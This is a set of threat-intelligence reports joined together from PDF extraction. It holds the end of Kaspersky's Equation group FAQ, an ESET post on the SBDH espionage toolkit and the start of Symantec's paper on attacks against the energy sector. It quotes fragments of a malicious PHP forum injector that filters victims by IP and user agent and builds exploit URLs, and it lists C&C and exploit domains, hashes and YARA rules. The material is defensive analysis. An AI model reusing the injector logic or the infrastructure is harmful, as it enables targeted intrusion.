22 TLP: White For any inquiries, please contact intelreportskaspersky.com 13.
Have you seen any non-Windows malware from the Equation group?
All the malware we have collected so far is designed to work on Microsofts Windows operating system.
However, there are signs that non-Windows malware does exist.
For instance, one of the sinkholed CC domains is currently receiving connections from a large pool of victims in China that appear to be Mac OS X computers (based on the user-agent).
The malware callbacks are consistent with the DOUBLEFANTASY schema, which normally injects into the system browser (for instance, Internet Explorer on Windows).
The callbacks for the suspected Mac OS X versions have the following user agents: Mozilla/5.0 (Macintosh Intel Mac OS X 10_8_2) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17 Mozilla/5.0 (Macintosh Intel Mac OS X 10.8 rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (Macintosh Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, like Gecko) Version/6.0.3 Safari/536.28.10 This leads us to believe that a Mac OS X version of DOUBLEFANTASY also exists.
Additionally, we observed that one of the malicious forum injections, in the form ofa PHP script, takes special precautions to show a different type of HTML code to Apple iPhone visitors.
Unlike other cases, such as visitors from Jordan, which does not get targeted, iPhone visitors are redirected to the exploit server, suggesting the ability to infect iPhones as well.
23 TLP: White For any inquiries, please contact intelreportskaspersky.com 14.
What CC infrastructure do the Equation group implants use?
The Equation group uses a vast CC infrastructure that includes more than 300 domains and more than 100 servers.
The servers are hosted in multiple countries, including the US, UK, Italy, Germany, Netherlands, Panama, Costa Rica, Malaysia, Colombia and Czech Republic.
All CC domains appear to have been registered through the same two major registrars, using Domains By Proxy to mask the registrants information.
Kaspersky Lab is currently sinkholing a couple dozen of the 300 CC servers.
15.
How do victims get selected for infection by the EQUATION group?
The EQUATION group sometimes selects its victims with surgical precision.
When precision is not possible, the victims are targeted by a validator (DOUBLEFANTASY) implant and subsequently disinfected if they do not appear to be interesting to the attackers.
Here are some web-based targeting examples from the Equation group: On March 2, 2013, a Kaspersky Lab user browsing an online forum was attacked with an exploit from one of the Equation groups exploitation servers: 2013-03-02 technicalconsumerreports[.
]com/modular/assemble.php?paramsYoGKKdExT[snip] cS5kS5t0bvGQyB8miDuAgn  detected HEUR:Exploit.
Script.
Generic The attack was unsuccessful as it was caught by our product and the user was protected.
The attack was targeting Firefox 17 (TOR Browser), using an unknown exploit that we have not recovered.
Looking further, we identified a few other known Equation servers used in similar attacks even earlier: 2012-12-11 technology-revealed[.
]com/diagram/navigate.html?overlayAL[snip]OISn6sI1snd1[SNIP]dd 24 TLP: White For any inquiries, please contact intelreportskaspersky.com These attacks were delivered in several ways  for example, while the user visited a number of Islamic Jihadist discussion forums, or via advertisements on popular websites in the Middle East.
The forums in question appear to have been compromised by a specific PHP script that exploited only authenticated visitors.
We were able to obtain one of these PHP scripts embedded in a discussion forum: Malicious PHP script injected into hacked discussion forums This PHP script provides a multitude of interesting information about the attacks.
It was first designed to work as part of vBulletin, a commercial forum platform.
It specifically checks if the visitors username MD5 matches two values: 84b8026b3f5e6dcfb29e82e0b0b0f386  MD5 of Unregistered e6d290a03b70cfa5d4451da444bdea39  unknown MD5 In practice, this means that only logged-in users will be exploited.
Next, the PHP exploitation script checks if the user comes from a specific address range: if(preg_match(/(64.38.3.50195.28.94.102.91.93.41.130.212.118.7 9.173.85.159.94.249.86.108.
)/,IPADDRESS))return 25 TLP: White For any inquiries, please contact intelreportskaspersky.com Converting the ranges to their respective countries (except for 64.38.3.50, which is the only specific IP mentioned) we get the following TOP 3 countries that will NOT be exploited: 1.
Jordan 2.
Turkey 3.
Egypt This means that the attackers have taken special care not to infect users visiting from certain ISPs in these countries.
If the visitors are from any other IP range, the PHP script constructs an exploitation URL which includes the logged in vBulletin forum name: htthttp://technology-revealed[.
]com/expand/order.php?designABRSRgDQlkUALAxGANDrRu QQofe6Y0THS8E3hfBCMk7CdBmTH5gAkLvgV8EV3ULW7KoUjbJ4UOFU6SVOtgEK7zTgPPNoDH z4vKecDGe7OzDmJlvwKvc5uYg/I/5x9 htthtt.sn.bin2hex(substr(u,0,14)) The vBulletin forum username is stored in hex, as the sn parameter to the exploit site.
The exploit site can choose to hit the visitor with an exploit depending on the username, meaning that the attackers are taking great care to infect only very specific targets on these forums.
Interestingly, the PHP script produces a different HTML page for iPhone visitors: if (preg_match(/iPhone/,_SERVER[HTTP_USER_AGENT]))scrollyes This indicates that the exploit server is probably aware of iPhone visitors and can deliver exploits for them as well otherwise, the exploitation URL can simply be removed for these visitors.
Most recently, the attackers used Java exploits, delivered through a specific server to visitors from the Middle East via advertising networks on popular websites.
Heres an example: standardsandpraiserepurpose[.
]com/login?qq5eaae4d[SNIP]0563rr1hcc593a6bfd8e1e 26c2734173f0ef75be3527a205 26 TLP: White For any inquiries, please contact intelreportskaspersky.com These 2013-2014 attacks make use of a new domain, standardsandpraiserepurpose[.
]com.
Interesting to point out the similarity in the URL construction, with parameters rr1, followed by h a value resembling a SHA1 hash, possibly the specific targeted username.
Other collected h values include the following: 0044c9bfeaac9a51e77b921e3295dcd91ce3956a 06cf1af1d018cf4b0b3e6cfffca3fbb8c4cd362e 3ef06b6fac44a2a3cbf4b8a557495f36c72c4aa6 5b1efb3dbf50e0460bc3d2ea74ed2bebf768f4f7 930d7ed2bdce9b513ebecd3a38041b709f5c2990 e9537a36a035b08121539fd5d5dcda9fb6336423 Considering the length and format, one might suspect they are a SHA1 hash, however, unlike the forum MD5 hashes, we couldnt break any of them.
The exploits from standardsandpraiserepurpose[.
]com targeted several Kaspersky Lab users and were all unsuccessful.
The server attempts three different Java exploits, containing the same payload stored as info.dat inside the Java archive.
These are simple downloaders that contain shellcode to download and execute the next stage from the CC: Unfortunately, we werent able to download a copy of the next stage as the URL was already dead at the time of checking, or else it is only served and built specifically for victims at specific IPs.
Another unusual aspect of targeting included multiple infection attempts against users of a certain satellite internet provider in Afghanistan.
27 TLP: White For any inquiries, please contact intelreportskaspersky.com 16.
What kind of encryption algorithms areused by the EQUATION group?
The Equation group uses the RC5 and RC6 encryption algorithms quite extensively throughout their creations.
They also use simple XOR, substitution tables, RC4 and AES.
RC5 and RC6 are two encryption algorithms designed by Ronald Rivest in 1994 and 1998.
They are very similar to each other, with RC6 introducing an additional multiplication in the cypher to make it more resistant.
Both cyphers use the same key setup mechanism and the same magical constants named P and Q.
The RC5/6 implementation from Equation groups malware is particularly interesting and deserves special attention because of its specifics.
Encryption-related code in a DoubleFantasy sample In the screenshot above, one can observe the main loop of a RC6 key setup subroutine extracted from one of the Equation group samples.
28 TLP: White For any inquiries, please contact intelreportskaspersky.com This is how it looks in pseudocode: (_DWORD)buf0xB7E15163 i1 do  (_DWORD)(buf4i)(_DWORD)(buf4i4)0x61C88647 i  while(i44) One immediately notices the constants 0xB7E15163 and 0x61C88647.
Heres what a normal RC6 key setup code looks like: voidRC5_SETUP(unsignedcharK)/secretinputkeyK[0...b-1]/ WORDi,j,k,uw/8,A,B,L[c] /InitializeL,thenS,thenmixkeyintoS/ for(ib-1,L[c-1]0i-1i--)L[i/u](L[i/u]8)K[i] for(S[0]0xB7E15163,i1iti)S[i]S[i-1]0x9E3779B9 [...]  See: http://www.ussrback.com/crypto/misc/rc5ref.c Interestingly, the so-called Q constant usage is a bit different in the reference code.
Inside the Equation group malware, the encryption library uses a subtract operation with the constant 0x61C88647.
In most publicly available RC5/6 code, this constant is usually stored as 0x9E3779B9, which is basically -0x61C88647.
Since an addition is faster on certain hardware than a subtraction, it makes sense to store the constant in its negative form and adding it instead of subtracting.
http://www.ussrback.com/crypto/misc/rc5ref.c 29 TLP: White For any inquiries, please contact intelreportskaspersky.com RC5 key setup reference document RFC2040 (https://tools.ietf.org/html/rfc2040) Searching for 0x61C88647 0xB7E15163 on Google results in barely two pages of results, indicating this combination of constants is relatively rare.
Most of the hits are on Chinese forums.
Searching for the 2-inverse constant 0x9E3779B9 0xB7E15163 results in awhopping 2500 hits.
https://tools.ietf.org/html/rfc2040 30 TLP: White For any inquiries, please contact intelreportskaspersky.com Interestingly, Regin implements the same constants in its RC5 code.
Heres how the RC5 key setup code looks in Regin: In total, we identified 20 different compiled versions of the RC5/6 code in theEquation group malware.
Although similar, the RC5 code is a bit different inRegin none of the known Equation samples uses the C7 41 10 opcode forsetting up the P constant, as Regin does.
This suggests that the EQUATION group and the Regin group are two different entities.
17.
How does the EQUATION groups attack platforms compare with Regin?
To attack their victims, the EQUATION group used several cyberespionage platforms over the last 14 years.
These include: EQUATIONLASER  around 2001-2003 EQUATIONDRUG  2003 to 2013 GRAYFISH 1.0  2008-present GRAYFISH 2.0  2012-present 31 TLP: White For any inquiries, please contact intelreportskaspersky.com With EQUATIONDRUG, we observed the use of virtual file systems, which is also one of the trademarks of the Regin group.
This was taken to further extreme in GRAYFISH, which exclusively uses the registry to store all malware-related modules and data in encrypted format.
The GRAYFISH registry-based architecture is more flexible, stealthy and more complex than Regin, for several reasons: It doesnt use any files on disk which can be easily spotted by anomaly finders.
Each registry branch is encrypted with its own key, making decryption impossible without having the whole package.
Registry storage offers better granularity and less wasted space than Regins VFSes.
In addition, we can compare the two platforms by their startup mechanisms.
While 64-bit Regin uses a service that loads the remaining of the code from the end of the last partition on disk and further from the VFSes, GRAYFISH takes this a step further.
The GRAYFISH bootkit starts from the VBR, loads the operating system and hijacks the loading of the first driver in the kernel.
Next, it loads all the other malware stages from the registry, making it almost completely invisible in terms of footprint.
Finally, in terms of advanced features, GRAYFISH and EQUATIONDRUG include perhaps the most sophisticated persistence mechanism weve ever seen: re-flashing the HDD firmware.
Due to the complexity of this process and the knowledge and resources required to implement something like it, the mechanism appears to be out of the reach of most advanced threat groups in the world except the EQUATION group.
These as well as other general observations lead us to conclude that the EQUATION group surpasses Regin in sophistication and resources.
18.
How did you discover this malware?
We discovered one of the first EQUATIONDRUG modules during our research intothe Regin nation-state APT operation.
Somewhere in the Middle East, there is a computer we are calling the TheMagnetof Threats because in addition to Regin, it was also infected byTurla, ItaDuke, Animal Farm and Careto/Mask.
When we tried to analyze theRegininfection on this computer, we identified another module which did notappear to be part of theRegin infection, nor any of the other APTs.
http://securelist.com/blog/research/67741/regin-nation-state-ownage-of-gsm-networks/ https://securelist.com/blog/research/67741/regin-nation-state-ownage-of-gsm-networks/ http://securelist.com/analysis/publications/65545/the-epic-turla-operation/ http://securelist.com/blog/incidents/35465/new-uyghur-and-tibetan-themed-attacks-using-pdf-exploits-45/ http://securelist.com/blog/research/58254/the-caretomask-apt-frequently-asked-questions/ 32 TLP: White For any inquiries, please contact intelreportskaspersky.com Further investigation into this module led us to the discovery of the EQUATIONDRUGplatform.
By looking for similarities using statistical analysis and correlation as well as CC-based pivoting, we identified several other malware families: DOUBLEFANTASY, EQUATIONLASER and FANNY.
Further research enabled ustofind GRAYFISH and TRIPLEFANTASY.
Another interesting detail is that several EQUATION group victims appear to have been previously infected by Regin and, in one case, had both Regin and EQUATIONDRUG.
This makes us believe the two groups are different from each other.
Indicators of compromise (one of each) Name EquationLaser MD5 752af597e6d9fd70396accc0b9013dbe Type EquationLaser installer Compiled Mon Oct 18 15:24:05 2004 Name Disk from Houston autorun.exe with EoP exploits MD5 6fe6c03b938580ebf9b82f3b9cd4c4aa Type EoP package and malware launcher Compiled Wed Dec 23 15:37:33 2009 Name DoubleFantasy MD5 2a12630ff976ba0994143ca93fecd17f Type DoubleFantasy installer Compiled Fri Apr 30 01:03:53 2010 Name EquationDrug MD5 4556ce5eb007af1de5bd3b457f0b216d Type EquationDrug installer (LUTEUSOBSTOS) Compiled Tue Dec 11 20:47:12 2007 33 TLP: White For any inquiries, please contact intelreportskaspersky.com Name GrayFish MD5 9b1ca66aab784dc5f1dfe635d8f8a904 Type GrayFish installer Compiled Compiled: Fri Feb 01 22:15:21 2008 (installer) Name Fanny MD5 0a209ac0de4ac033f31d6ba9191a8f7a Type Fanny worm Compiled Mon Jul 28 11:11:35 2008 Name TripleFantasy MD5 9180d5affe1e5df0717d7385e7f54386 loader (17920 bytes .DLL) MD5 ba39212c5b58b97bfc9f5bc431170827 encrypted payload (.DAT) Compiled various, possibly fake Name _SD_IP_CF.dll - unknown MD5 03718676311de33dd0b8f4f18cffd488 Type DoubleFantasy installer  LNK exploit package Compiled Fri Feb 13 10:50:23 2009 Name nls_933w.dll MD5 11fb08b9126cdb4668b3f5135cf7a6c5 Type HDD reprogramming module Compiled Tue Jun 15 20:23:37 2010 Name standalonegrok_2.1.1.1 / GROK MD5 24a6ec8ebf9c0867ed1c097f4a653b8d Type GROK keylogger Compiled Tue Aug 09 03:26:22 2011 34 TLP: White For any inquiries, please contact intelreportskaspersky.com CC servers (hostnames and IPs): DoubleFantasy: advancing-technology[.
]com avidnewssource[.
]com businessdealsblog[.
]com businessedgeadvance[.
]com charging-technology[.
]com computertechanalysis[.
]com config.getmyip[.
]com - SINKHOLED BY KASPERSKY LAB globalnetworkanalys[.
]com melding-technology[.
]com myhousetechnews[.
]com - SINKHOLED BY KASPERSKY LAB newsterminalvelocity[.
]com - SINKHOLED BY KASPERSKY LAB selective-business[.
]com slayinglance[.
]com successful-marketing-now[.
]com - SINKHOLED BY KASPERSKY LAB taking-technology[.
]com techasiamusicsvr[.
]com - SINKHOLED BY KASPERSKY LAB technicaldigitalreporting[.
]com timelywebsitehostesses[.
]com www.dt1blog[.
]com www.forboringbusinesses[.
]com EquationLaser: lsassoc[.
]com - re-registered, not malicious at the moment gar-tech[.
]com - SINKHOLED BY KASPERSKY LAB Fanny: webuysupplystore.mooo[.
]com - SINKHOLED BY KASPERSKY LAB 35 TLP: White For any inquiries, please contact intelreportskaspersky.com EquationDrug: newjunk4u[.
]com easyadvertonline[.
]com newip427.changeip[.
]net - SINKHOLED BY KASPERSKY LAB ad-servicestats[.
]net - SINKHOLED BY KASPERSKY LAB subad-server[.
]com - SINKHOLED BY KASPERSKY LAB ad-noise[.
]net ad-void[.
]com aynachatsrv[.
]com damavandkuh[.
]com fnlpic[.
]com monster-ads[.
]net nowruzbakher[.
]com sherkhundi[.
]com quik-serv[.
]com nickleplatedads[.
]com arabtechmessenger[.
]net amazinggreentechshop[.
]com foroushi[.
]net technicserv[.
]com goldadpremium[.
]com honarkhaneh[.
]net parskabab[.
]com technicupdate[.
]com technicads[.
]com customerscreensavers[.
]com darakht[.
]com ghalibaft[.
]com adservicestats[.
]com 247adbiz[.
]net - SINKHOLED BY KASPERSKY LAB webbizwild[.
]com roshanavar[.
]com afkarehroshan[.
]com thesuperdeliciousnews[.
]com adsbizsimple[.
]com goodbizez[.
]com meevehdar[.
]com xlivehost[.
]com 36 TLP: White For any inquiries, please contact intelreportskaspersky.com gar-tech[.
]com - SINKHOLED BY KASPERSKY LAB downloadmpplayer[.
]com honarkhabar[.
]com techsupportpwr[.
]com webbizwild[.
]com zhalehziba[.
]com serv-load[.
]com wangluoruanjian[.
]com islamicmarketing[.
]net noticiasftpsrv[.
]com coffeehausblog[.
]com platads[.
]com havakhosh[.
]com toofanshadid[.
]com bazandegan[.
]com sherkatkonandeh[.
]com mashinkhabar[.
]com quickupdateserv[.
]com rapidlyserv[.
]com 37 TLP: White For any inquiries, please contact intelreportskaspersky.com GrayFish: ad-noise[.
]net business-made-fun[.
]com businessdirectnessource[.
]com charmedno1[.
]com cribdare2no[.
]com dowelsobject[.
]com following-technology[.
]com forgotten-deals[.
]com functional-business[.
]com housedman[.
]com industry-deals[.
]com listennewsnetwork[.
]com phoneysoap[.
]com posed2shade[.
]com quik-serv[.
]com rehabretie[.
]com speedynewsclips[.
]com teatac4bath[.
]com unite3tubes[.
]com unwashedsound[.
]com TripleFantasy: arm2pie[.
]com brittlefilet[.
]com cigape[.
]net crisptic01[.
]net fliteilex[.
]com itemagic[.
]net micraamber[.
]net mimicrice[.
]com rampagegramar[.
]com rubi4edit[.
]com rubiccrum[.
]com rubriccrumb[.
]com team4heat[.
]net tropiccritics[.
]com 38 TLP: White For any inquiries, please contact intelreportskaspersky.com Equation groups exploitation servers: standardsandpraiserepurpose[.
]com suddenplot[.
]com technicalconsumerreports[.
]com technology-revealed[.
]com IPs hardcoded in malware configuration blocks: 149.12.71.2 190.242.96.212 190.60.202.4 195.128.235.227 195.128.235.231 195.128.235.233 195.128.235.235 195.81.34.67 202.95.84.33 203.150.231.49 203.150.231.73 210.81.52.120 212.61.54.239 41.222.35.70 62.216.152.67 64.76.82.52 80.77.4.3 81.31.34.175 81.31.36.174 81.31.38.163 81.31.38.166 84.233.205.99 85.112.1.83 87.255.38.2 89.18.177.3 39 TLP: White For any inquiries, please contact intelreportskaspersky.com Kaspersky products detection names: Backdoor.
Win32.Laserv Backdoor.
Win32.Laserv.b Exploit.
Java.CVE-2012-1723.ad HEUR:Exploit.
Java.
CVE-2012-1723.gen HEUR:Exploit.
Java.
Generic HEUR:Trojan.
Java.
Generic HEUR:Trojan.
Win32.DoubleFantasy.gen HEUR:Trojan.
Win32.EquationDrug.gen HEUR:Trojan.
Win32.Generic HEUR:Trojan.
Win32.GrayFish.gen HEUR:Trojan.
Win32.TripleFantasy.gen Rootkit.
Boot.
Grayfish.a Trojan-Downloader.
Win32.Agent.bjqt Trojan.
Boot.
Grayfish.a Trojan.
Win32.Agent.ajkoe Trojan.
Win32.Agent.iedc Trojan.
Win32.Agent2.jmk Trojan.
Win32.Diple.fzbb Trojan.
Win32.DoubleFantasy.a Trojan.
Win32.DoubleFantasy.gen Trojan.
Win32.EquationDrug.b Trojan.
Win32.EquationDrug.c Trojan.
Win32.EquationDrug.d Trojan.
Win32.EquationDrug.e Trojan.
Win32.EquationDrug.f 40 TLP: White For any inquiries, please contact intelreportskaspersky.com Trojan.
Win32.EquationDrug.g Trojan.
Win32.EquationDrug.h Trojan.
Win32.EquationDrug.i Trojan.
Win32.EquationDrug.j Trojan.
Win32.EquationDrug.k Trojan.
Win32.EquationLaser.a Trojan.
Win32.EquationLaser.c Trojan.
Win32.EquationLaser.d Trojan.
Win32.Genome.agegx Trojan.
Win32.Genome.akyzh Trojan.
Win32.Genome.ammqt Trojan.
Win32.Genome.dyvi Trojan.
Win32.Genome.ihcl Trojan.
Win32.Patched.kc Trojan.
Win64.EquationDrug.a Trojan.
Win64.EquationDrug.b Trojan.
Win64.Rozena.rpcs Worm.
Win32.AutoRun.wzs 41 TLP: White For any inquiries, please contact intelreportskaspersky.com Yara rules: rule apt_equation_exploitlib_mutexes meta: copyright  Kaspersky Lab description  Rule to detect Equation groups Exploitation library version  1.0 last_modified  2015-02-16 reference  https://securelist.com/blog/ strings: mzMZ a1prkMtx wide a2cnFormSyncExFBC wide a3cnFormVoidFBC wide a4cnFormSyncExFBC a5cnFormVoidFBC condition: ((mz at 0) and any of (a))  rule apt_equation_doublefantasy_genericresource meta: copyright  Kaspersky Lab description  Rule to detect DoubleFantasy encoded config version  1.0 last_modified  2015-02-16 reference  https://securelist.com/blog/ strings: mzMZ a106 00 42 00 49 00 4E 00 52 00 45 00 53 00 a2yyyyyyyyyyyyyyyy a3002 condition: ((mz at 0) and all of (a))  and filesize  500000  42 TLP: White For any inquiries, please contact intelreportskaspersky.com rule apt_equation_equationlaser_runtimeclasses meta: copyright  Kaspersky Lab description  Rule to detect the EquationLaser malware version  1.0 last_modified  2015-02-16 reference  https://securelist.com/blog/ strings: a1?a73957838_2YAXXZ a2?a84884YAXXZ a3?b823838_9839YAXXZ a4?e747383_94YAXXZ a5?e83834YAXXZ a6?e929348_827YAXXZ condition: any of them  rule apt_equation_cryptotable meta: copyright  Kaspersky Lab description   Rule to detect the crypto library used in Equation group malware version  1.0 last_modified  2015-02-16 reference  https://securelist.com/blog/ strings: a37 DF E8 B6 C7 9C 0B AE 91 EF F0 3B 90 C6 80 85 5D 19 4B 45 44 12 3C E2 0D 5C 1C 7B C4 FF D6 05 17 14 4F 03 74 1E 41 DA 8F 7D DE 7E 99 F1 35 AC B8 46 93 CE 23 82 07 EB 2B D4 72 71 40 F3 B0 F7 78 D7 4C D1 55 1A 39 83 18 FA E1 9A 56 B1 96 AB A6 30 C5 5F BE 0C 50 C1 condition: a  43 TLP: White For any inquiries, please contact intelreportskaspersky.com DailyBusinessAcademyThreatPostEugeneSecureList Securelist, the resource for KasperskyLab experts technicalresearch, analysis, and thoughts.
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By Tom Gardo Espionage toolkit targeting Central and Eastern Europe uncovered welivesecurity.com/2016/07/01/espionage-toolkit-targeting-central-eastern-europe-uncovered/ Over the course of the last year, ESET has detected and analyzed several instances of malware used for targeted espionage  dubbed SBDH toolkit.
Using powerful filters, various methods of communication with its operators and an interesting persistence technique, it aims to exfiltrate selected files from governmental and public institutions, which are mostly focused on economic growth and cooperation in Central and Eastern Europe.
ESETs SBDH findings were presented during the Copenhagen Cybercrime Conference 2016 by researchers Tom Gardo and Robert Lipovsk.
1/6 http://www.welivesecurity.com/2016/07/01/espionage-toolkit-targeting-central-eastern-europe-uncovered/ http://cccc-2016.com/presentations This toolkit  actually only its initial part  was spreading as an executable with a double extension attached to a phishing email (counting on Windows default behavior of hiding an extension).
To further increase its chances of being run by the receiver, it uses legitimate looking icons of several Microsoft applications or a Word document.
2/6 Upon successful execution, the malware contacts a remote location in order to download two other main components of the toolkit: a backdoor and a data stealer.
The combination of these modules provides the attacker not only with full remote control of the compromised computer, but also with an advanced method of data exfiltration.
Thanks to powerful filters the operator can specify in great detail which data should be exfiltrated, using conditions such as file extension, date of creation, file size and others.
These can be modified via the malware configuration files.
Because all of the components of this espionage toolkit require connection to the CC server, the malware depends heavily on handling network communication.
3/6 To increase its chances, it uses multiple methods for connection.
First it attempts to use HTTP protocol.
If that fails, the SBDH malware opts for a second method and tries to communicate via SMTP protocol using a free external gateway.
As a last resort, it has the capability to communicate by injecting specially crafted emails into Microsoft Outlook Express.
This way, injected emails were sent under the account of the currently logged user, allowing the malware to bypass security measures (assuming the user had rights to send and receive emails).
These malicious messages created by the malware were then placed directly in a victims outbox, to avoid their attention.
In cases of incoming communication, the malware searched the victims inbox in order to identify emails received with a specific subject.
If the toolkit found such emails, they were parsed and checked for malware commands.
Finally, the subjects of these emails were changed to prevent any further examination by the malware.
However, this last option was only used up until 2006, when Outlook Express was replaced by the newer Windows Mail application.
Since then, the developers of this toolkit have increasingly focused on improving the HTTP communication method and started camouflaging communications with the CC server by using fake image files (.JPG, .GIF) to carry the data.
In case of the CC servers unavailability, the backdoor component had yet another backup solution  a hard- coded URL pointing to a fake image (hosted on a free blog webpage) that contained the address of an alternative CC server.
4/6 Some of the analyzed samples of this component implemented an interesting persistence method the malware was replacing the handler for Word documents.
It means, whenever the infected system tries to open/edit a Word document, the malware gets executed.
Last but not least, if you are asking yourself where the name of the toolkit comes from, the SBDH string found in compilation paths of its downloader and  more interestingly  the string B64SBDH, acts as a trigger to download its remaining components from a remote server.
Using similar techniques as the malware in Operation Buhtrap, the SBDH espionage toolkit proves that even advanced threats are still being spread via simple vectors, such as malicious email attachments.
Yet, such risks can be spotted by properly trained staff in organizations and further mitigated by implementing a reliable multi-layered security solution.
5/6 http://www.welivesecurity.com/2015/04/09/operation-buhtrap/ Hashes 1345B6189441CD1ED9036EF098ADF12746ECF7CB 15B956FEEE0FA42F89C67CA568A182C348E20EAD F2A1E4B58C9449776BD69F62A8F2BA7A72580DA2 7F32CAE8D6821FD50DE571C40A8342ACAF858541 5DDBDD3CF632F7325D6C261BCC516627D772381A 4B94E8A10C5BCA43797283ECD24DF24421E411D2 D2E9EB26F3212D96E341E4CBA7483EF46DF8A1BE 09C56B14DB3785033C8FDEC41F7EA9497350EDAE 6/6 Espionage toolkit targeting Central and Eastern Europe uncovered
SECURITY RESPONSE The energy sector has become a major focus for targeted attacks and is now among the top five most targeted sectors worldwide.
Follow us on Twitter threatintel Visit our Blog http://www.symantec.com/connect/symantec-blogs/sr Targeted Attacks Against the Energy Sector Candid Wueest Version 1.0  January 13, 2014, 14:00 GMT Targeted Attacks Against the Energy Sector https://twitter.com/threatintel http://www.symantec.com/connect/symantec-blogs/sr CONTENTS OVERVIEW ..................................................................... 3 Introduction .................................................................. 5 Exposed systems: Online and offline ............................ 7 Smart grid: A new potential avenue of attack .............. 8 History of discovered attacks ..................................... 10 2013 ...................................................................... 10 2008 ...................................................................... 10 2003 ...................................................................... 10 2001 ...................................................................... 10 2000 ...................................................................... 10 Stuxnet .................................................................. 11 Night Dragon ......................................................... 11 Shamoon/Disttrack ............................................... 12 Spear phishing attacks in the energy sector .............. 14 New Years campaign ............................................ 14 Greek oil campaign ................................................ 14 Motivation and origin .................................................. 16 Protection and mitigation ........................................... 16 Conclusion ................................................................... 19 Appendix ..................................................................... 21 A.
Spear phishing  ................................................. 21 B. Visualization with TRIAGE ................................. 24 C. Phases of targeted attacks ............................... 25 Resources .................................................................... 28 The energy sector has become a major focus for targeted attacks and is now among the top five most targeted sectors worldwide.
Companies in the sector are facing a growing risk of having their services interrupted or losing data.
The threat to energy firms is only likely to increase in the coming years as new developments, such as further extensions of smart grids and smart metering expose more infrastructure to the Internet.
Equipment that is not connected to the Internet and other networks is not immune to threats and there has already been a number of successful attacks against isolated systems.
Operators of critical infrastructure, as well as energy utility companies, need to be aware of these threats and prepare accordingly.
The threat to energy firms comes from several different sources.
In some cases, espionage from competitors is the primary motive, with data on new projects, exploration and finances being targeted.
Disruption and destruction are the goals of other attacks.
Some instances appear to be state sponsored, such as the disruption of the Iranian nuclear program by the Stuxnet worm in 2010, one of the attacks that began this trend.
Others appear to be the work of hacktivists with political or environmental agendas.
Internal attackers, like disgruntled employees, are also a major source of attacks that often lead to service disruption.
The majority of the actors behind these attacks have grown more sophisticated in the way they attack.
During the monitoring period from July 2012 to June 2013, we observed an average of 74 targeted attacks per day globally.
Of these, nine attacks per day targeted the energy sector.
Accounting for 16.3 percent of all attacks, the energy sector was the second most targeted vertical in the last six months of 2012, with only the government/public sector exceeding it with 25.4 percent of all attacks.
The high ranking was mainly due to a major attack against a global oil company, which we observed in September 2012.
However, in the first half of 2013 the energy sector continued to attract a high proportion of attacks, ranking in fifth place with 7.6 percent of targeted attacks.
Not all of the attacks analyzed used highly sophisticated tools.
Most of them could have been prevented by following best practice guidelines for protecting the IT infrastructure and the industrial components, indicating that despite high revenues and strategic importance, many energy sector companies are not prioritizing cybersecurity.
OVERVIEW Many power utilities companies fear disruptive attacks the most, regardless of whether it is done by internal or external attackers.
INTRODUCTION Page 5 Targeted Attacks Against the Energy Sector Introduction The number of targeted cyberattacks in general has risen in the past few years.
In addition to this, the rate of attack exposure has also risen, with more companies becoming aware of attacks, expecting them and searching for indications of compromise.
It is not a new phenomenon, but its importance has grown.
The Council on Foreign Relations, a US think tank, reported that energy companies, including oil and gas producers, were often the focus of targeted attacks during summer 2012.
In May 2013 the US Department of Homeland Security (DHS) warned of an increase in sabotage attacks against US energy companies located in the Middle East.
The government had tracked multiple attacks and issued a warning together with the Industrial Control Systems Cyber Emergency Response Team (ICS-CERT).
A report by the US Congress supported this picture, stating that many power utilities companies were under constant or daily attack through cyberspace.
Taking into account that successful breaches of critical infrastructures are still rare and that these numbers included generic malware infections, it nevertheless highlights the potential for cyberattacks in the energy sector.
As in most sectors, attackers are often after valuable information.
For example, we have seen attackers target intellectual property such as technology for photovoltaic research and wind turbines, or data on gas field exploration.
Information such as this is of high value and can generate huge profits for attackers or their sponsors.
The same information can also be misused for an act of sabotage.
Many power utilities companies fear disruptive attacks the most, regardless of whether it is done by internal or external attackers.
The energy sector has a high potential for critical disruption through sabotage attacks.
Any interruption to the power grid would cause substantial chaos and cascading effects resulting in financial loss.
In the past there have been quite a few attacks that included targets in the energy sector.
Some of these were more focused, like Stuxnet, Duqu, Shamoon/Disttrack and Night Dragon.
Others saw power companies targeted among many other sectors, such as Hidden Lynx, Nitro, Flamer, Net Traveler and Elderwood to name a few.
One of the biggest examples, and a game changer for many organizations, was Stuxnet.
This targeted sabotage attack, which is believed to have been aimed against uranium enrichment facilities in Iran, made clear what could be done through cyberattacks.
It is also clear that the energy sector is not exempt from the generic attacks that every company faces, such as ransomware that locks PCs or financial Trojans that attempt to steal passwords and credit card details.
For example, such a case happened in May 2013, when a small fuel distribution company in North Carolina fell victim to a cyberheist that transferred US800,000 from the companys bank account.
Such threats spread broadly and might impact any person, regardless of their employer.
These attackers aim at infecting as many computers as possible in order to maximize their chances of profits.
These attacks can include nonspecific data breaches where employee or customer records get stolen, as happened to the US Department of Energy in July 2013.
For this paper we focused on email data from targeted attacks between July 2012 and June 2013.
Even though watering holes are becoming more frequently used in targeted attacks, it is unfortunately quite difficult to reliably map these to individual campaigns.
A blocked drive-by download attempt does not give any indication if it was a targeted attack or just general noise.
In quite a few cases we see the same common malware, like Poison Ivy, being used by generic attackers and by targeted attacks.
In such cases the sole difference between a sophisticated targeted attack and a generic one lies in the person commanding the malware.
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet_research.pdf http://www.symantec.com/connect/blogs/shamoon-attacks http://www.pcworld.com/article/219251/article.html http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/hidden_lynx.pdf http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the_nitro_attacks.pdf http://www.symantec.com/connect/blogs/flamer-highly-sophisticated-and-discreet-threat-targets-middle-east http://www.symantec.com/connect/blogs/symantec-protections-travnet http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf http://krebsonsecurity.com/2013/05/nc-fuel-distributor-hit-by-800000-cyberheist/ Experts predict that billions of smart meters and sensors will be installed worldwide over the next ten years.
